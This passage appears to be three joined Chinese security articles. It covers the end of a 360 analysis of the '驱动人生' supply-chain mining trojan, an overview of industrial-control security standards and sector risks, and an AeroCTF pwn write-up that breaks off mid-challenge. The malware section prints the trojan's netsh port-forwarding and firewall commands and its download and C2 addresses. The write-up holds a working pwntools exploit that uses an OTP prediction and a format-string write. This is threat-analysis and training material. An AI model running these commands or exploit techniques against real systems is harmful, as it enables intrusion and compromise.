netsh interface portproxy add v4tov4 listenport=65532 connectaddress=1.1.1.1
connectport=53
netsh firewall add portopening tcp 65532 DNS2
c:\windows\temp\cm.exe /c c:\installs.exe
taskkill /F /IM cmd.exe
而该地址下载回来的样本（f9144118127ff29d4a49a30b242ceb55）的C2地址为以下3个，增加了<http://img.minicen.ga/i.png>，而该域名为免费域名，注册地址为：freenom.com
### 2019年1月23日
http://dl.haqo.net/dll.exe的地址的样本变为：
59b18d6146a2aa066f661599c496090d，下图为该样本的传播量：
该样本的C2地址变为下图的3个域名，增加了o.beahh.com：
其中 beahh.com域名是2019年1月16日刚注册的。
## 总结
360威胁情报中心基于自有的大数据和威胁情报平台对入侵驱动人生的幕后团伙进行了关联分析，发现其所用的IP与Mykings事件团伙的部分IP重合，并且使用时间的段重合，甚至连样本所访问的URL格式、端口都一样。但是两个团伙已知的恶意代码没有太多的相似之处，格式高度一致的URL没有实际上的请求和响应数据，由于VT不可靠的URL检测机制，该URL是否实际存在也是个疑问。
基于看到的事实，有两个猜想值得关注：1、入侵“驱动人生”的幕后黑手与Mykings事件团伙存在联系，甚至可能是同一个团伙。2、“驱动人生”木马的团伙在有意识地积极栽赃嫁祸给Mykings团伙。我们的观点倾向于后者，360威胁情报中心会持续保持跟踪，基于新发现的事实调整自己的看法，也希望安全业界分享自己的发现。
## 参考
360对劫持“驱动人生”的挖矿蠕虫分析报告系列详情如下表：
分析文章标题 | 发布日期 | 分析团队
---|---|---
《利用“驱动人生”升级程序的恶意程序预警》 | 2018.12.15 | 360互联网安全中心
《驱动人生旗下应用分发恶意代码事件分析 – 一个供应链攻击的案例》 | 2018.12.17 | 360威胁情报中心
《警报！“永恒之蓝”下载器木马再度更新！》 | 2018.12.19 | 360安全卫士
《劫持“驱动人生”的挖矿蠕虫再次活跃》 | 2019.01.24 | 360威胁情报中心
《MyKings: 一个大规模多重僵尸网络》 | 2018.01.24 | 360网络安全研究院
<https://cert.360.cn/warning/detail?id=57cc079bc4686dd09981bf034130f1c9>
<https://ti.360.net/blog/articles/an-attack-of-supply-chain-by-qudongrensheng/>
<https://weibo.com/ttarticle/p/show?id=2309404318990783612243>
[https://mp.weixin.qq.com/s?__biz=MzI2MDc2MDA4OA==&mid=2247486576&idx=1&sn=dc5ff6a05fac06608365823173d17dae&chksm=ea65fb07dd1272113e4890dd284d19e945b4e0ae803f75671ee46cb3fbd42c54fa9170caac86&scene=0&xtrack=1#rd](https://mp.weixin.qq.com/s?__biz=MzI2MDc2MDA4OA==&mid=2247486576&idx=1&sn=dc5ff6a05fac06608365823173d17dae&chksm=ea65fb07dd1272113e4890dd284d19e945b4e0ae803f75671ee46cb3fbd42c54fa9170caac86&scene=0&xtrack=1#rd)
<https://blog.netlab.360.com/mykings-the-botnet-behind-multiple-active-spreading-botnets/> | 社区文章 |
# 工控安全从入门到实战——概述（二）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本篇文章为《工控安全从入门到实战——概述》的第2部分内容，主要介绍工控目前的相关标准、几个行业标准、等保2.0在工控安全方面的一些要求、电力燃气石油等行业的工控特点等。
## 工控安全参考标准
我们搜集了下文所提到的标准法规和其他部分工控标准，关注文章最下面的公众号，回复“工控标准”，可获取相关资料。
### 国际标准
### 国家标准
* 《工业控制系统信息安全防护指南》
《工业控制系统信息安全防护指南》是国家网络和信息安全的重要组成部分，是推动中国制造2025、制造业与互联网融合发展的基础保障。2016年10月，工业和信息化部印发《工业控制系统信息安全防护指南》，为工业企业制定工控安全防护实施方案提供指导方向。该指南的制订，是在国内深化制造业与互联网融合发展的大背景下，国内工业控制系统信息安全问题突出的情况下，国内工控安全多个标准发布，工控安全技术蓬勃发展的环境下，基于管理、深入技术、结合业务，以新高度为工业企业提供全面的工控安全建设指导。
* 《工业控制系统信息安全行动计划 (2018-2020年)》
工业控制系统信息安全行动计划的主要目标：到2020年，一是建成工控安全管理工作体系，企业主体责任明确，各级政府部门监督管理职责清楚，工作管理机制基本完善。二是全系统、全行业工控安全意识普遍增强，对工控安全危害认识明显提高，将工控安全作为生产安全的重要组成部分。三是态势感知、安全防护、应急处置能力显著提升，全面加强技术支撑体系建设，建成全国在线监测网络，应急资源库，仿真测试、信息共享、信息通报平台（一网一库三平台）。四是促进工业信息安全产业发展，提升产业供给能力，培育一批龙头骨干企业，创建3-5个国家新型工业化产业化产业示范基地（工业信息安全）。
* 《信息安全技术工业控制系统安全控制应用指南》（GB/T 32919-2016）
该标准由全国信息安全标准化委员会（SAC/TC260）提出，全国信息安全标准化技术委员会归口管理。适用于工业控制系统拥有者、使用者、设计实现者以及信息安全管理部门，为工业控制系统信息安全设计、实现、整改工作提供指导，也为工业控制系统信息安全运行、风险评估和安全检查工作提供参考。方便规约工业控制系统的安全功能需求，为安全设计（包括安全体系结构设计）和安全实现奠定基础。
* 《信息安全技术 网络安全等级保护基本要求 第5部分 工业控制系统安全扩展要求》
也就是等保2.0了，将原来的标准《信息安全技术 信息系统安全等级保护基本要求》改为《信息安全技术
网络安全等级保护基本要求》，等级保护制度已被打造成新时期国家网络安全的基本国策和基本制度。对重要基础设施重要系统以及“云、物、移、大、工”纳入等保监管，将互联网企业纳入等级保护管理，并在《网络安全等级保护基本要求
第5部分 工业控制系统安全扩展要求》中针对工控安全进行详细描述，并专门对工控分层模型等内容进行了描述。
* GB/T 26333-2010《工业控制网络安全风险评估规范》
作为我国工控安全第一个国家标准，解决了我国工控安全标准空白的问题，实现了工控安全标准零的突破。此标准2011年发布实施，从发布时间上可以看出，我国关注工控安全的前辈们的高瞻远瞩。但是此标准并未推行起来，成为了事实上可有可无的标准，成为了工控安全标准界的先烈。究其原因，还是此标准无核心内容（核心内容都是直接引用其它标准），标准过于简单，可操作性低，导致此标准落地困难。建议相关单位对此标准进行修订。
* GB/T 30976.1-2014《工业控制系统信息安全 第1部分：评估规范》
作为我国工控安全第一个有内容的国家标准，解决了我国工控安全无标准可依的窘境。《评估规范》分为管理评估和系统能力（技术）评估。管理评估宜对照风险接受准则和组织机构相关目标，识别、量化并区分风险的优先次序。风险评估的结果宜指导并确定适当的管理措施及其优先级，评估风险和选择控制措施的过程需要执行多次，以覆盖组织机构的不同部门或各个工业控制系统。管理评估分三个级别、系统能力（技术）评估分为四个级别。信息安全等级由系统能力等级和管理等级二维确定。
此评估标准实施过程中，还没有一套有效的方法论来指导用户单位确定自己需要的信息安全等级，或者政府未有一套信息安全等级评定的依据。目前阶段只能根据用户单位自己的自发需求来确定信息安全等级，然后根据用户单位确认的等级开展评估活动。
GB/T 30976.2-2014《工业控制系统信息安全 第2部分：验收规范》
此标准解决了我国工业控制系统信息安全验收上的空白，解决了验收有标准可依的困境。此标准的使用方是工业控制系统用户方，《验收规范》涉及到专业的安全测试，除电力和石油石化等大部分用户方在能力上不足以完成验收阶段的安全测试。因此需要借助第三方的测评力量来验收，就涉及到项目预算增加的问题。因此在做标准宣贯时，需要在立项阶段就考虑验收标准和费用的问题。
### 行业标准
**电力行业**
在工控安全领用，电力行业2005年颁布的电监会5号令《电力二次系统安全防护规定》，“安全分区、网络专用、横向隔离、纵向认证”十六字深入人心。其次是石化、核电及烟草行业也有相应标准。
* 《电力监控系统安全防护规定》（中华人民共和国国家发展和改革委员会令第14号）
《电力监控系统安全防护规定》是为了加强电力监控系统的信息安全管理，防范黑客及恶意代码等对电力监控系统的攻击及侵害，保障电力系统的安全稳定运行而制定的法规，经国家发展和改革委员会主任办公会审议通过，2014年8月1日中华人民共和国国家发展和改革委员会令第14号公布，自2014年9月1日起施行。
* 《电力监控系统安全防护总体方案》（国能安全【2015】36号)
《电力监控系统安全防护总体方案》（国能安全【2015】36号)作为行业最新的电力系统安全规范文件，以“安全分区、网络专用、横向隔离、纵向认证”为原则，提出了省级以上调度中心、地县级调度中心、发电厂、变电站、配电等的二次系统安全防护方案，综合采用防火墙、入侵检测、主机加固、病毒防护、日志审计、统一管理等多种手段，为二次系统的安全稳定运行提供可靠环境。
* 《电力行业信息系统安全等级保护基本要求》电监信息[2012]62号
2012年，电力行业按照国家信息安全等级保护相关标准和管理规范，结合自身行业现状和特点，制定了本行业的等保标准——《电力行业信息系统安全等级保护基本要求》，指导行业信息安全等级保护工作。
* 国家电网信息安全检测依据的其他标准（国家电网2017年发布）
**石化行业**
* GB/T 50609-2010 《石油化工工厂信息系统设计规范》
此设计规范中要求网络之间需要采用安全隔离，2010年颁布的行业标准，算比较早重视工控信息安全的行业。
**核电行业**
* GB/T 13284.1-2008 《核电厂安全系统 第1部分 设计准则》
* GB/T 13629-2008 《核电厂安全系统中数字计算机的适用准则》
《设计准则》提供了有关核电厂安全设计应遵循的准则。标准中规定了核电厂安全系统动力源、仪表和控制部分最低限度的功能和设计要求，标准适用于为防止或减轻设计基准事件后果、保护公众健康和安全所需要的那些系统。《适用准则》主要针对核电厂安全系统中数字计算机适用性制定的准则。
**烟草行业**
* YC/T 494-2014 《烟草工业企业生产网与管理网网络互联安全规范》
此标准主要规范烟草工业企业生产网与管理网之间的联网安全问题。
* 《烟草行业工业控制系统网络安全基线技术规范》
## 等保2.0工控安全基本要求
等保2.0为了适应新技术、新业务、新应用，该标准对云计算、移动互联、物联网和工业控制系统分别提出相应的要求，内容结构调整各个级别的安全要求为安全通用要求、云计算安全扩展要求、移动互联安全扩展要求、物联网安全扩展要求和工业控制系统安全扩展要求。
* 工控系统安全扩展要求控制项数量变化
### 等保2.0工业控制系统安全扩展要求
物理和环境安全：增加了对室外控制设备的安全防护要求，如放置控制设备的箱体或装置以及控制设备周围的环境；
网络和通信安全：增加了适配于工业控制系统网络环境的网络架构安全防护要求、通信传输要求以及访问控制要求，增加了拨号使用控制和无线使用控制的要求；
设备和计算安全：增加了对控制设备的安全要求，控制设备主要是应用到工业控制系统当中执行控制逻辑和数据采集功能的实时控制器设备，如PLC、DCS控制器等；
安全建设管理：增加了产品采购和使用和软件外包方面的要求，主要针对工控设备和工控专用信息安全产品的要求，以及工业控制系统软件外包时有关保密和专业性的要求；
安全运维管理：调整了漏洞和风险管理、恶意代码防范管理和安全事件处置方面的需求，更加适配工业场景应用和工业控制系统。
### 等保2.0工业控制系统应用场景
**工业控制系统的概念和定义**
工业控制系统（ICS）是几种类型控制系统的总称，包括数据采集与监视控制系统（SCADA）系统、集散控制系统（DCS）和其它控制系统，如在工业部门和关键基础设施中经常使用的可编程逻辑控制器（PLC）。工业控制系统通常用于诸如电力、水和污水处理、石油和天然气、化工、交通运输、制药、纸浆和造纸、食品和饮料以及离散制造（如汽车、航空航天和耐用品）等行业。工业控制系统主要由过程级、操作级以及各级之间和内部的通信网络构成，对于大规模的控制系统，也包括管理级。过程级包括被控对象、现场控制设备和测量仪表等，操作级包括工程师和操作员站、人机界面和组态软件、控制服务器等，管理级包括生产管理系统和企业资源系统等，通信网络包括商用以太网、工业以太网、现场总线等。
**工业控制系统分层模型**
该标准参考IEC 62264-1的层次结构模型划分，同时将SCADA系统、DCS系统和PLC系统等模型的共性进行抽象，
形成了如图二的分层架构模型，从上到下共分为5个层级，依次为企业资源层、生产管理层、过程监控层、现场控制层和现场设备层，不同层级的实时性要求不同。
企业资源层主要包括ERP系统功能单元，用于为企业决策层员工提供决策运行手段；
生产管理层主要包括MES系统功能单元，用于对生产过程进行管理，如制造数据管理、生产调度管理等；
过程监控层主要包括监控服务器与HMI系统功能单元，用于对生产过程数据进行采集与监控，并利用HMI系统实现人机交互；
现场控制层主要包括各类控制器单元，如PLC、DCS控制单元等，用于对各执行设备进行控制；
现场设备层主要包括各类过程传感设备与执行设备单元，用于对生产过程进行感知与操作。
根据工业控制系统的架构模型不同层次的业务应用、实时性要求以及不同层次之间的通信协议不同，需要部署的工控安全产品或解决方案有所差异，尤其是涉及工控协议通信的边界需要部署工控安全产品进行防护，不仅支持对工控协议细粒度的访问控制，同时满足各层次对实时性的要求。
工业控制系统典型分层架构模型
该标准专门标注了随着工业4.0、信息物理系统的发展，上述分层架构已不能完全适用，因此对于不同的行业企业实际发展情况，允许部分层级合并，可以根据用户的实际场景进行判断。
* 相关内容的映射关系
考虑到工业控制系统构成的复杂性，组网的多样性，以及等级保护对象划分的灵活性，给安全等级保护基本要求的使用带来了选择的需求。该标准给出了各个层次使用本标准相关内容的映射关系，可以在实际应用中参考：
**约束条件**
工业控制系统通常对可靠性、可用性要求非常高，所以在对工业控制系统依照等级保护进行防护的时候要满足以下约束条件:
* 原则上安全措施不应对高可用性的工业控制系统基本功能产生不利影响。例如用于基本功能的账户不应被锁定，甚至短暂的也不行；
* 安全措施的部署不应显著增加延迟而影响系统响应时间；
* 对于高可用性的控制系统，安全措施失效不应中断基本功能等；
* 经评估对可用性有较大影响而无法实施和落实安全等级保护要求的相关条款时，应进行安全声明，分析和说明此条款实施可能产生的影响和后果，以及使用的补偿措施。
## 电力、燃气、石油等行业的工控特点
### 电力行业
**总体介绍**
电力行业作为工业控制领域信息安全防护建设的先行者，已在信息安全防护建设方面积累了大量经验。
* 电力企业在电力监控系统安全防护体系建设过程中始终坚持自主可控的原则，研究信息隔离与交换、纵向加密认证等多项专用安全防护技术，进而形成了多项信息安全行业技术规范和标准；
* 针对关键产品进行自主研发，并统一组织进行严格测试，保证关键系统的安全自主可控；
* 各电力企业相继建立了信息安全相关组织体系，建成了较为完善的信息安全管理制度，包括信息安全总体安全防护策略、管理办法、信息通报和应急处置制度，涵盖了信息安全活动的主要方面；
总结形成了“安全分区、网络专用、横向隔离、纵向认证”的信息安全防护策略，建立了多技术层面的防护体系，做到了物理、网络、终端和数据的多角度、全方面保护。
**工控系统介绍**
电力行业涉及的设备和系统很繁杂，但从信息安全的角度，我们需要关注的场景可主要分为：省级以上调度中心、地县级调度中心、变电站、发电厂、配电。
1、电力监控系统：具体包括电力数据采集与监控系统、能量管理系统、变电站自动化系统、换流站计算机监控系统、发电厂计算机监控系统、配电自动化系统、微机继电保护和安全自动装置、广域相量测量系统、负荷控制系统、水调自动化系统和水电梯级调度自动化系统、电能量计量系统、实时电力市场的辅助控制系统、电力调度数据网络等。
2、电力调度数据网络：电力调度数据网（以下简称调度网），是建设在电力SDH通信传输网络之上的调度生产专用数据网，是实现调度实时和准实时业务数据传输的基础平台，满足承载业务的安全性、实时性和可靠性的要求。目前调度网覆盖省调、25个地调、超高压公司、500kV及220kV变电站和统调发电厂。
3、控制区：是指由具有实时监控功能、纵向联接使用电力调度数据网的实时子网或者专用通道的各业务系统构成的安全区域，如SCADA、能源管理系统（EMS）等。
4、非控制区：是指在生产控制范围内由在线运行但不直接参与控制、是电力生产过程的必要环节、纵向联接使用电力调度数据网的非实时子网的各业务系统构成的安全区域，如调度员模拟培训系统、电能量计量系统、电力市场运营系统等。
5、电力监控系统：坚持“安全分区、网络专用、横向隔离、纵向认证”的原则，保障电力监控系统的安全。
6、电力系统往往划分为生产控制大区和管理信息大区，生产控制大区可以分为控制区（又称安全区I）和非控制区（又称安全区Ⅱ）。
7、电力一次系统：一次系统是指直接用于生产、输送和分配电能的生产过程的高压电气设备。它包括发电机、变压器、断路器、隔离开关、自动开关、接触器、刀开关、母线、输电线路、电力电缆、电抗器、电动机等。由一次设备相互连接，构成发电、输电、配电或进行其他生产过程的电气回路称为一次回路或一次接线系统。
8、电力二次系统：二次系统是指对一次设备的工作进行监测、控制、调节、保护以及为运行、维护人员提供运行工况或生产指挥信号所需的低压电气设备。如熔断器、控制开关、继电器、控制电缆等。由二次设备相互连接，构成对一次设备进行监测、控制、调节和保护的电气回路称为二次回路或二次接线系统。
根据电力二次系统的特点，划分为生产控制大区和管理信息大区。生产控制大区分为控制区（安全区Ⅰ）和非控制区（安全区II）。信息管理大区分为生产管理区（安全区III）和管理信息区（安全区Ⅳ）。不同安全区确定不同安全防护要求，其中安全区Ⅰ安全等级最高，安全区II次之，其余依次类推。
**主要面临的安全风险**
* 未建立工业控制主机和设备的安全配置策略。多数工业主机上未安装防病毒或白名单软件，且系统中存在大量USB存储设备使用记录，未通过主机外设安全管理技术手段实施访问控制，工业控制系统关键设备均未采用多因素认证方式。安全设备配置不合理，防火墙规则和路由器配置不当容易引发通信安全风险，访问控制规则配置不正确的防火墙可能许可不必要的网络数据传输，如在企业网和控制网之间进行数据交换，可能导致恶意攻击或恶意代码在系统网络的传播，重要工业数据容易被窃听。
* 电力系统对时序要求严格，容易出现传输延迟等问题。SCADA和自动化控制系统对受控对象的直接操作具有高度时效性，不允许发生重大延迟和系统震荡，以变电站运作为例，触发电路开关延迟可能导致功率波动甚至停电。如果恶意攻击者频繁发起常见请求，即使防火墙能够阻止未授权的请求，但在数据处理能力不足、带宽受限的情况下，也会引起网络延迟，难以满足传输的实时性要求。
* 系统各种业务的应用程序缺少验证机制。多数电力工业控制设备缺乏身份验证机制，即便有，大部分也为设备供应商默认的用户名和密码，极易被猜到或破解，一般不会定期更换密码，同时应用系统的资源（如文件、数据库表等）存在被越权使用的风险。对关键设备和组件缺少冗余配置，导致应用程序对故障的检测、处理和恢复能力不足，缺少对程序界面输入内容或是注入攻击的验证，如SQL注入攻击等，系统数据库存在泄漏的风险。
* 管理信息大区积累大量电力敏感数据，存在泄漏或被篡改的风险。不仅仅是居民的用电数据，个人信息也存储在电力数据库中，电力调度、检修、运维等数据极易被批量查询，从而导出个人敏感信息，缺乏对敏感字符的过滤机制将带来安全风险。同时电力数据通常不进行定期备份，如果发生人为误操作导致数据更改或删除，或是数据库自身出现故障、服务器宕机，数据存储安全性难以保证。
### 石油化工行业
**业务介绍**
石油化工企业完成油气从勘探到加工成品最终面向用户销售的整个生产过程，由油气田、油气输送、炼化加工、油气储运和油气销售板块组成完整生态链。需要多个专业的相互配合和协作，是中国重要的资金与技术密集型企业。
石油工业主要包括石油的开采、存储、练化、输送等环节，其中石油炼化是把原油通过石油炼制加工为各种石油产品的过程，石油炼化厂中的主要生产装置通常有原油蒸馏（常、减压蒸馏）、热裂化、催化裂化、加氢裂化、石油焦化、催化重整等环节，主要生产汽油、喷气燃料、煤油、柴油、燃料油、润滑油、石油蜡、石油沥青、石油焦和各种石油化工原料等。
**石化工控系统介绍**
石化行业涉及互联网及集团网、管理网、生产网三层网络架构，包含采油、炼油、输油等生产环节。生产区域一般按照不同的生产工艺，以装置为单位进行生产区域划分，各生产区域内的工业控制系统一般包括：分布式控制系统（DCS）、可编程逻辑控制器（PLC）、安全仪表系统（SIS）、压缩机控制系统（CCS）、火灾及可燃气体报警系统（FGS）、SCADA系统等。石化行业工业控制系统注重安全、稳定、长期、满负荷、优质的运行，且相互关联、相互依存。
**石化行业系统部署架构**
**石化行业典型事件**
* 2011年，我国某石化企业某装置控制系统分别感染Conficker病毒，造成控制系统服务器与控制器通讯不同程度地中断
* 2012年，卡巴斯基实验室首先发现Flame病毒，据称该病毒被发现前至少已经潜伏5-8年的时间。Flame病毒主要用于获取伊朗石油部门的商业情报，至少已经感染伊朗、巴勒斯坦、叙利亚、黎巴嫩、沙特及其他中东和北非国家的相应计算机系统。。
* 2014年，黑客首先入侵了土耳其某石油管道管理部门的网络系统，然后安装了一个恶意软件，并关闭了报警、切断了通信联系、给管道内的原油大幅增压。由于管道内压力的不断增大，该石油管道最终发生爆炸，爆炸的火焰高度甚至高达150英尺。
**主要面临的安全风险**
* 石油化工企业生产的产品大多为易燃、易爆、有毒以及强腐蚀性的物质，其操作流程十分复杂，各种高温、高压设备较多，对操作都有严格要求，一旦生产系统出现安全问题，生产现场可能出现火灾、爆炸，进而可能引起生产装置的损坏，并可能造成人员伤亡。事故导致生产原料的泄漏、扩散等，可能在很大范围内长时间地造成空气、水源、土壤的污染，给当地人民生活和周边环境带来严重影响。
* 石油化工行业各单位信息系统众多，涉及范围广；工控系统国内外的软件品牌众多，很难形成统一的防护规范策略应对安全问题；石油工业在控制系统方面，石油炼化行业大量使用Honeywell PKS、Yokogawa CENTUM VP等国外的DCS系统。另外当软件面向网络应用时，就必须开放端口，一旦被恶意攻击和利用后果不堪设想。
* 装置品牌众多，安全运维困难。炼化采用DCS，仓储采用PLC，管输采用SCADA系统，各生产区域工控系统的品牌不一，难以统一管理，且控制设备种类繁多、国产化率较低、系统运行维护困难，无法做到安全自主可控。
* 各层网络间无隔离防护。企业的控制网络系统复杂多样，缺乏必要的安全边界及区域功能划分，过程控制层与数据采集层，先进控制（APC）系统与过程控制网，控制器与操作员站（工程师站），缺少访问控制措施。一旦系统某节点出现病毒、木马等问题，会迅速蔓延至整个网络。
* 工程师站缺少身份认证机制。工程师站一般情况下只有管理员账户，对操作员站、DCS控制器的组态行为通常缺乏身份认证，由于拥有最高操作权限，可以任意修改控制逻辑和流程，存在对现场设备直接组态的重大隐患。
* APC系统本身未加装任何安全防护。在项目工程师安装、调试和修改期间，APC系统需要频繁与外部进行数据交换，感染病毒的风险较高。一旦APC系统出现感染木马、病毒等问题，实时运行的控制系统安全将无法保障。
### 燃气行业
**业务介绍**
城市燃气广泛应用于居民生活、工商业、发电、交通运输、分布式能源等多个领域，是城市发展不可或缺的重要能源。天然气长输管道系统的安全可靠运行也直接关系到国民经济的发展和人民生命财产的安全。
SCADA系统是长输天然气工控系统的核心，该系统的安全直接关系到生产安全。随着信息技术快速发展，信息系统安全问题也同样严峻，例如来自网络空间的攻击将利用公网直接威胁到SCADA系统安全，进而对管道系统造成物理损坏，轻者出现网络中断，严重甚至导致生产事故。
**工控系统**
目前，随着现代计算机技术和自动化技术在管道燃气行业的广泛应用，城市燃气企业建立起了相应的城市燃气管网SCADA系统，实现对燃气传输管线、燃气输气场站、燃气储备站的远程管理、集中控制、数据自动实时采集、事故报警、参数调整、气量调节等管理功能，降低了管理成本和生产风险，节省了人力资源。大多数的城市燃气企业采用SCADA系统，集合PLC和RTU等控制设备，操作人员在调度控制中心通过SCADA系统可完成对燃气输配系统的监控和运行管理。
城市燃气管网SCADA系统按照区域和功能一般划分为调度控制中心、传输网络（有线+无线备份）和站控系统。调度控制中心内主要包含SCADA服务器、数据库服务器、WEB服务器、通讯服务器和工作站（操作员工作站、工程师工作站、视频工作站），调度控制中心一般通过通讯服务器或专用服务器与外部系统实现数据交互。调度控制中心与下属站控通过光纤专线和运营商无线网络（如：GPRS、CDMA等）互联同时实现线路冗余备份。站控系统根据功能主要分为门站、调压站、阀室三类。
**面临的主要风险**
目前城市燃气管网SCADA系统主要存在以下工控安全问题。
1、通信协议漏洞
自动化和信息化的高度融合和物联网的发展使得ModBus协议、ProfiBus协议、OPC协议等工业协议越来越广泛地应用在工业控制网络中，协议的公开性导致极易遭受攻击，而传统IT防火墙无法发现和防范出现的安全问题。
2、工业设备漏洞
国内城市燃气管网SCADA系统大量采用西门子、霍尼韦尔等产品，但由于该系列产品存在漏洞，可利用漏洞进行脚本攻击改变操作指令，进而影响生产正常进行。
3、操作系统漏洞
城市燃气管网SCADA系统的工程师站/操作站/HMI都是Windows平台的，为保证过程控制系统的相对独立性，同时考虑到系统的稳定运行，通常现场工程师站/操作站/HMI在系统运行后不会对Windows平台安装任何补丁，存在很大的安全隐患。
4、安全策略和管理流程漏洞
追求可用性而牺牲安全，是很多工业控制系统存在的普遍现象，缺乏完整有效的安全策略与管理流程也给工业控制系统信息安全带来了一定的威胁。例如工业控制系统中移动存储介质的使用和不严格的访问控制策略，包括笔记本电脑、U盘等设备。
## 参考资料
https://www.kiwisec.com/news/detail/5c1c603bdb30c341099f28ab.html
https://www.venustech.com.cn/article/new_type/52.html
https://www.secrss.com/articles/3526
http://www.winicssec.com/Wap/Index/show/catid/57/id/456.html
> [工控安全标准发展现状与思考](http://plcscan.org/blog/2016/03/ics-standards-development-> and-thoughts/)
https://zhuanlan.zhihu.com/p/30273367
我们搜集了文中所提到的标准法规和其他部分工控标准，关注文章最下面的公众号，回复“工控标准”，可获取相关资料。
Tide安全团队正式成立于2019年1月，是新潮信息旗下以互联网攻防技术研究为目标的安全团队，目前聚集了十多位专业的安全攻防技术研究人员，专注于网络攻防、Web安全、移动终端、安全开发、IoT/物联网/工控安全等方向。
Tide安全团队自建立之初持续向CNCERT、CNVD、漏洞盒子、补天、各大SRC等漏洞提交平台提交漏洞，在漏洞盒子先后组建的两支漏洞挖掘团队在全国300多个安全团队中均拥有排名前十的成绩。在产品研发方面，Tide自主研发了一款面向互联网基础设施的资产检索系统，即Tide(潮汐)网络空间搜索平台，平台结合网络安全技术与大数据分析处理技术，对互联网基础设施进行网络安全威胁监测和网络安全态势分析。Tide安全团队自研多套安全平台，如分布式web扫描平台WDScanner、Mars平台、潮汐指纹识别系统、内部SRC平台、安全网络课堂、安全测试案例库、社工库、MoSec移动端检测平台、漏洞知识库、代理资源池、字典权重库等等，团队成员在FreeBuf、简书、CSDN、51CTO、CnBlogs等网站均开设专栏或博客，研究安全技术、分享经验技能。
想了解更多Tide安全团队，请关注团队官网: http://www.TideSec.net 或关注公众号 | 社区文章 |
这周打了打AeroCTF，把pwn ak了。以下是Writeup
## Warm up
这题很简单，考的是stack overflow，
### 题目分析
先看main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[32]; // [esp+1h] [ebp-29h]
char v5; // [esp+21h] [ebp-9h]
int *v6; // [esp+22h] [ebp-8h]
v6 = &argc;
v5 = 1;
puts("Memes server");
printf("Enter the password: ");
fflush(stdout);
buf[read(0, buf, 32u)] = 0;
if ( auth(buf) )
v5 = 0;
if ( v5 )
puts("[-] Auth error!");
else
readMeme();
return -1;
}
如果登录成功令v5为0即可拿到flag。但是auth函数每次都会生成新的密码，并且无法破解。
程序的问题在于`buf[read(0, buf, 32u)] = 0;`存在off-by-null，而且正好会覆盖v5为0。我们只要输入0x20长度的内容即可。
### exp
32个a
## navigation system
考查随机数和格式化字符串漏洞
### 题目分析
先看一下保护情况
> Arch: i386-32-little
> RELRO: Partial RELRO
> Stack: Canary found
> NX: NX enabled
> PIE: No PIE (0x8048000)
有canary但没开PIE
先看以下main函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
int a2; // [esp+0h] [ebp-48h]
int v5; // [esp+4h] [ebp-44h]
char s1; // [esp+Ah] [ebp-3Eh]
char v7; // [esp+1Bh] [ebp-2Dh]
unsigned int v8; // [esp+3Ch] [ebp-Ch]
int *v9; // [esp+40h] [ebp-8h]
v9 = &argc;
v8 = __readgsdword(0x14u);
wlc_msg();
__isoc99_scanf((int)"%16s", (int)&s1);
printf("Password: ");
fflush(stdout);
__isoc99_scanf((int)"%32s", (int)&v7);
if ( strcmp(&s1, valid_login) )
{
puts("Username is invalid!");
exit(-1);
}
if ( strcmp(&v7, valid_password) )
{
puts("Passowrd is invalid!");
exit(-2);
}
v5 = genOTPcode(&s1, &v7);
printf("Enter the OTP code: ", v5);
fflush(stdout);
__isoc99_scanf((int)"%d", (int)&a2);
if ( v5 == a2 )
UserPanel(&s1);
puts("OTP is incorrect!");
fflush(stdout);
return -1;
}
name和password都是常量字符串，之后需要输入一个OTP(One Time Pad)才能进入后续逻辑。看一下OTP的生成过程。
int __cdecl genOTPcode(char *a1, char *a2)
{
time_t v2; // eax
unsigned int v3; // eax
v2 = time(0);
srand(*a2 + *a1 + v2);
v3 = rand();
return v3 + (v3 >= 0xFFFFFFFF);
}
可以看到OTP每次都是随机生成的，但是随机的种子是当前的时间和两个字符的和。a2和a1是常量字符，因此我们可以通过当前的时间推测出OTP的值，这样即可通过检查进入主逻辑。
然后进入主逻辑,发现UserPanel中只有两个功能Set station和Read report。先看一下Read reprot：
int readLastReport()
{
if ( flag )
system("/bin/cat report.txt");
else
printf("[-] Access denied!");
return putchar(10);
}
检查了一个bss段的标志位flag，如果不为0则直接返回flag的值（report.txt里是flag）。
再看一下Set station函数:
unsigned int setStation()
{
char buf[32]; // [esp+Ch] [ebp-2Ch]
unsigned int v2; // [esp+2Ch] [ebp-Ch]
v2 = __readgsdword(0x14u);
printf("Set station > ");
fflush(stdout);
buf[read(0, buf, 0x20u)] = 0;
printf("Station: ");
printf(buf);
putchar(10);
return __readgsdword(0x14u) ^ v2;
}
显然有一个格式化字符串漏洞，printf直接打印了我们输入的内容。由于没有开PIE，所以我们可以直接用格式化字符串漏洞任意写的能力来改写bss段上flag的值。
### exp
解题思路
1.先根据当前时间生成OTP，通过检查
2.利用格式化字符串漏洞，把flag的值改为1
3.触发read report函数，拿到flag
#!/usr/bin/env python
from pwn import *
import sys
context.log_level="debug"
#context.log_level="info"
code=ELF("./navigation",checksec=False)
context.terminal = ['gnome-terminal','-x','sh','-c']
context.arch = code.arch
if len(sys.argv)>2:
con=remote(sys.argv[1],int(sys.argv[2]))
elif len(sys.argv)>1:
libc = ELF(sys.argv[1])
con = code.process(env = {"LD_PRELOAD":sys.argv[1]})
else:
con=code.process()
if(context.arch == "amd64"):
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
else:
libc=ELF("/lib/i386-linux-gnu/libc.so.6")
from ctypes import *
def otp():
tmp = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
seed = tmp.time(0)
seed+=ord("t")*2
tmp.srand(seed)
return tmp.rand()
def z(commond=""):
gdb.attach(con,commond)
def overwriteflag():
con.sendlineafter(">","2")
flag=0x804c058
payload=p32(flag)+"%7$hnn"
con.sendlineafter(">",payload)
def exploit():
con.sendlineafter("Login: ","test_account")
con.sendlineafter("Password: ","test_password")
con.sendlineafter("code: ",str(otp()))
overwriteflag()
con.sendlineafter(">","1")
exploit()
con.interactive()
## enginescipt
### 题目分析
> Arch: i386-32-little
> RELRO: Partial RELRO
> Stack: Canary found
> NX: NX enabled
> PIE: No PIE (0x8048000)
先看一下保护，没开PIE。
这个题是一个脚本的解释器，用户可以输入一段字节码，然后程序会逐字节的解释执行这段字节码。代码如图
int __cdecl execCode(char *s)
{
int result; // eax
int i; // [esp+8h] [ebp-10h]
signed int v3; // [esp+Ch] [ebp-Ch]
